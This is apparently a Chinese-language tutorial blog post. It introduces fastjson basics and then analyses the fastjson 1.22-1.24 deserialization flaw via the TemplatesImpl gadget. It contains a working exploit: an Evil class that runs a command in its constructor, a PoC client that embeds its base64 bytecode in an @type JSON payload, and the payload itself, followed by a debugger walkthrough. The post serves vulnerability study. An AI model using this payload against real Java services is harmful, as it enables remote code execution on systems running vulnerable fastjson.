fastjson基础
简介
什么是fastjson
- fastjson 是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
- FastJson 与 Google 的 Gson 都是解析 Json 的强者,两者不相伯仲
- https://github.com/alibaba/fastjson
- fastjson 会不定期发布针对 android 版本优化的版本,android优化版本是去掉不必要的代码,减少体积,功能和标准版本基本一样。 已发布的android版本包括:http://repo1.maven.org/maven2/com/alibaba/fastjson/1.1.51.android/
maven配置一下依赖就能开始用
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.49</version> </dependency>
|
Map转JSON字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.fastjson.demo1;
import com.alibaba.fastjson.JSON;
import java.util.HashMap;
public class map2json { public static void main(String[] args) { HashMap<Object, Object> map1 = new HashMap<>(); map1.put("key1", "value1"); map1.put("key2","value2"); String jsonString = JSON.toJSONString(map1); System.out.println(jsonString); } }
|

基本用法
POJO List 转 JSON 字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.fastjson.demo1;
import com.alibaba.fastjson.JSON; import com.fastjson.basic.Person;
import java.util.ArrayList;
public class pojolist2json { public static void main(String[] args) { Person mike = new Person("Mike", 19); Person nancy = new Person("Nancy", 18);
ArrayList<Person> persons = new ArrayList<>(); persons.add(mike); persons.add(nancy);
String jsonString = JSON.toJSONString(persons); System.out.println(jsonString); } }
|
1
Json 字符串转 JsonObject
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.fastjson.demo1;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class json2jsonObj { public static void main(String[] args) { String jsonString = "{\"name1\":\"mike\",\"name2\":\"john\",\"key1\":123}"; JSONObject object = JSON.parseObject(jsonString); System.out.println(object.getString("name1")); System.out.println(object.getInteger("key1")); } }
|

Fastjson1.22-1.24反序列化
TEMPLATESIMPL环境&复现
jdk 1.8
fastjson 1.22
先编写一个恶意类Evil,编译为class文件后放在本地,我们需要他的字节码
这个类的构造方法中会Runtime.getRuntime().exec("calc");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.fastjson.exploit;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public Evil() throws IOException { Runtime.getRuntime().exec("calc"); }
public static void main(String[] args) throws IOException { Evil helloworld = new Evil(); } }
|
再编写(网上找了)一个调用了触发漏洞方法的客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package com.fastjson.exploit;
import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException;
public class poc1 {
public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); }
String result = Base64.encodeBase64String(bos.toByteArray());
return result; }
public static void bad_method() { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); String evil_path = "C:\\Users\\AEQAQ\\Desktop\\gc-tool\\fasjJ1\\target\\classes\\com\\fastjson\\exploit\\Evil.class"; String evil_code = readClass(evil_path);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evil_code+"\"]," + "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); }
public static void main(String args[]) { bad_method(); }
}
|
这个客户端做的事情也很简单:
读取class文件,并将其base64编码
创建json字符串 text1,其中@type设置为我们很熟悉的类TemplatesImpl
JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
这是漏洞触发的核心点
这里我们转化为对象的字符串,也就是包含了恶意class的字符串为
1 2 3 4 5 6 7
| { "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes":["yv66vgAA...(省略一大段base64)"], '_name':'a.b', '_tfactory':{ }, "_outputProperties":{ } }
|

分析
通过最简单的利用TemplatesImpl反序列化来学习fastjson1.22-1.24漏洞
在JSON.parseObject处打上断点,下面主要分析这个方法中的流程
不得不说,这个调用还挺长的,所以我写的尽量详细点,对其中的一些方法和算法单独列出来分析,为以后回来看或者分析其他组件提供经验(吧。。)。
Fastjson反序列化的类方法调用关系
在这条利用TemplateImpl的利用链中,主要牵扯的还是靠左边的Deserializer

JSON.parseObject

先会对Feature数组进行遍历,并对mask值进行或运算,这里mask是有初值的,并将结果赋值给featureValues

接着会返回一个DefaultJSONParser对象
1
| DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);
|

可以看到我们的json字符串和features都被保存在这个parser里
其中lexer字段是一个JSONScanner对象,这里我们分析一下DefaultJSONParser对象的构造方法
DefaultJSONParser构造方法

可以看到这个构造方法中,根据我们传入的input和features,会先构造一个JSONScanner对象

这里由于ch是”{“,所以设置token为12
DefaultJSONParser.parseObject(Type type,Object fieldName)
接着调用parseObject方法,继续跟进
先返回token,这里为12,然后进到具体的处理部分

先返回一个derializer,然后再调用它其中的方法

JavaObjectDeserializer.deserialze
com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer.deserialze
因此我们跟进deserialize方法

由于parser.parseObject(clazz, (Object)null);中传入的是Object类,所以这里跳过了if判断,直接进到return那一句里

三元运算为false,进到DefaultJSONParser.parse方法中
DefaultJSONParser.parse(java.lang.Object)

最终会进到case 12里面

然后调用DefaultJSONParser.parseObject方法
DefaultJSONParser.parseObject(java.util.Map, java.lang.Object)

因为在DefaultJSONParser的构造方法中已经调用过一次next方法了,所以现在的ch是",34,所以会进到这个判断
scanSymbol则会取出"之间的数据

取出json对象的第一个key,也就是@type
还记得json中的@type所对应的数据是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,也就是我们要实例化的恶意类的类名。
加载了TemplateImpl类

然后接着往下走,就进入这个地方

这里先通过scanSymbol来获取到"间的数据,然后用TypeUtils.loadClass方法来加载这个类

最后在这个方法中实例化恶意类

JavaBeanDeserializer.deserialze
根据token为16,会先进到com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField方法中


随后进入到com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField中,此处filedType判断为了这个class [[B类型,然后再进入到下面的deserialze方法中

然后就取出了bytecodes字段
进入这个setValue方法中,可以看到传入的object就是TempaltesImpl对象,然后value即构造的恶意字节码
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

通过这个方法把_bytecodes加入到TemplatesImpl对象中

然后他会通过这个parseFiled方法逐个取出parser也就是json中的字段名
直到解析这个字段,也就是_outputProperties

最后在com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)中反射调用getOutputProperties方法,完成整个调用链调用,因为这里传入的object就是我们构造的恶意TemplatesImpl对象,这条攻击链可以在7d21中找到
